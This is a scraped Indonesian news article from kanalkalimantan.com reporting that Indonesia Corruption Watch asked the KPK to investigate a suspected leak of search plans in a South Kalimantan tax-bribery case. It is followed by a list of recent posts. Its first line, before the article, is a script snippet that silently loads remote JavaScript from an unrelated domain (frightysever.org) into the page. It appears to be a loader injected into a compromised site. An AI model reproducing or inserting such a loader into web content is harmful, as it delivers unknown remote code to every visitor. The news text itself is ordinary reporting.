(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

ICW Minta Usut Dugaan Bocornya Informasi Penggeledahan KPK di Kalsel


KANALKALIMANTAN.COM, JAKARTA – Indonesia Corruption Watch (ICW) meminta Komisi Pemberantasan Korupsi (KPK) mengusut dugaan bocornya informasi penggeledahan pada dua lokasi di Kalimantan Selatan (Kalsel).

Peneliti ICW Kurnia Ramadhana menyebut, pernyataan Pelaksana Tugas Juru Bicara KPK Ali Fikri bahwa adanya truk yang diduga membawa barang bukti berupa dokumen terkait dengan kasus suap pajak di Kalsel menegaskan bahwa adanya tindakan yang menghalang-halangi proses hukum.

Tindakan tersebut, kata Kurnia, seperti dilansir kompas.com, merupakan obstruction of justice sebagaimana diatur dalam Pasal 21 Undang-Undang Tindak Pidana Korupsi. “Maka dari itu, ICW mendesak agar KPK segera menerbitkan surat perintah penyelidikan dan mengusut tuntas perihal siapa yang memerintahkan pemindahan barang bukti ke truk tersebut,” kata Kurnia dalam keterangan tertulis, Selasa (13/4).

Selain itu, Kurnia mengatakan, ICW meminta KPK membuka siapa oknum internal yang membocorkan informasi adanya rencana penggeledahan tersebut. “Jika hal itu tidak dilakukan, maka wajar jika publik menduga keras ada oknum di internal KPK yang ingin melindungi pihak-pihak tertentu dalam perkara suap pajak,” ucap Kurnia.

Baca juga : KPK Sebut Izin Penggeledahan PT Jhonlin Sudah Sesuai Prosedur

Sementara itu, KPK memastikan penggeledahan yang dilakukan pada dua lokasi di Kalimantan Selatan terkait penyidikan kasus dugaan suap pajak pada Jumat (9/4/2021) telah sesuai dengan aturan yang berlaku. Adapun lokasi yang digeledah itu yakni Kantor PT Jhonlin Baratama di Kabupaten Tanah Bumbu dan sebuah lokasi di Kecamatan Hampang, Kabupaten Kotabaru.

“KPK memastikan proses pengajuan izin penggeledahan telah dilakukan sesuai mekanisme aturan yang berlaku,” kata Pelaksana Tugas Juru Bicara KPK Ali Fikri.

“Sejauh ini, mekanisme proses adminstrasi izin penggeledahan tersebut tidak ada kendala dari Dewas KPK,” tambahnya.

Ali mengatakan, concern dan fokus penggeledahan yang dilakukan untuk kedua kalinya di kantor PT Jhonlin Baratama itu karena ada dugaan pihak-pihak yang tidak kooperatif dalam penyidikan kasus tersebut KPK menduga, ada pihak-pihak yang sengaja menghalangi penyidikan dengan cara memindahkan bukti yang diperlukan.

Baca juga : Jokowi Teken Keppres Cuti Bersama Libur Lebaran dan Natal 2021

“Oleh karenanya kami ingatkan, siapa pun yang sengaja menghalangi penyidikan dengan antara lain diduga memindahkan bukti-bukti yang diperlukan dalam proses penyidikan ini kami tak segan terapkan ketentuan Pasal 21 UU Tipikor,” ucap Ali.

Ali memastikan, KPK terus melakukan penyidikan dugaan korupsi perkara tersebut dan mengajak masyarakat ikut mengawal setiap prosesnya. “Kami tidak ingin berspekulasi terkait opini adanya kebocoran informasi kegiatan tersebut,” kata Ali.

“Prinsipnya, kami akan tegas terhadap pihak-pihak yang sengaja menghalangi baik langsung atau tidak langsung terhadap proses penyidikan perkara ini,” ucap dia.

Sebelumnya, penyidik KPK tengah mencari truk yang diduga membawa barang bukti berupa dokumen terkait kasus dugaan suap pajak di Kalimantan Selatan. Tim penyidik, kata Ali, mendapatkan informasi dari masyarakat adanya truk di sebuah lokasi, Kecamatan Hampang, Kotabaru, Kalsel yang diduga menyimpan berbagai dokumen terkait dengan perkara yang sedang dilakukan penyidikan tersebut.

Baca juga : Mengisi Puasa dengan Membaca, Ini Jadwal Layanan Perpustakaan Selama Ramadhan

Namun, setelah tim penyidik KPK mendatangi lokasi itu, Ali menyebut, truk itu sudah berpindah tempat.
Oleh karena itu, KPK mengharapkan partisipasi masyarakat untuk segera melapor melalui call center 198 atau melalui email informasi@kpk.go.id apabila melihat dan menemukan keberadaan truk tersebut.

Penggeledahan yang dilakukan KPK di Kantor PT Jhonlin Baratama di Kabupaten Tanah Bumbu dan sebuah lokasi di Kecamatan Hampang, Kabupaten Kotabaru Jumat (9/4/2021) tidak mendapatkan bukti apapun. “Di dua lokasi tersebut, tidak ditemukan bukti yang dicari oleh KPK karena diduga telah sengaja dihilangkan oleh pihak-pihak tertentu,” kata Ali. (Kanalkalimantan.com/kompas/suara)

Editor: cell

 

 


Al Ghifari

Recent Posts

Banjir Balangan: 34 Desa Terdampak di 6 Kecamatan, Ratusan Rumah Rusak

KANALKALIMANTAN.COM, PARINGIN - Bencana banjir yang melanda Kabupaten Balangan sejak akhir Desember 2025 berdampak pada… Read More

1 jam ago

Pemkab Kapuas Salurkan Bantuan Korban Kebakaran Selat Tengah

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas melalui Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Kapuas… Read More

2 jam ago

Bupati HSU Melantik 41 Pejabat, Termasuk 4 Camat Baru

KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani melantik 41 pejabat yang terdiri… Read More

16 jam ago

Perluas Kawasan Perkotaan Pemkab Kapuas Bangun Jalan Baru

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas terus memperluas kawasan perkotaan melalui pembangunan infrastruktur jalan… Read More

17 jam ago

‎Jalan Sehat Meriahkan HAB ke-80 Kementerian Agama di Amuntai

‎KANALKALIMANTAN.COM, AMUNTAI - Ribuan peserta yang tergabung dalam keluarga besar Kementerian Agama (Kemenag) Kabupaten Hulu… Read More

19 jam ago

Tiga Pejabat Pimpinan Tinggi Pratama Kabupaten Banjar Dilantik, Ini Nama-namanya

KANALKALIMANTAN.COM, MARTAPURA – Tiga posisi Jabatan Pejabat Pimpinan Tinggi Pratama (PPTP) di Pemkab Banjar yang… Read More

21 jam ago

This website uses cookies.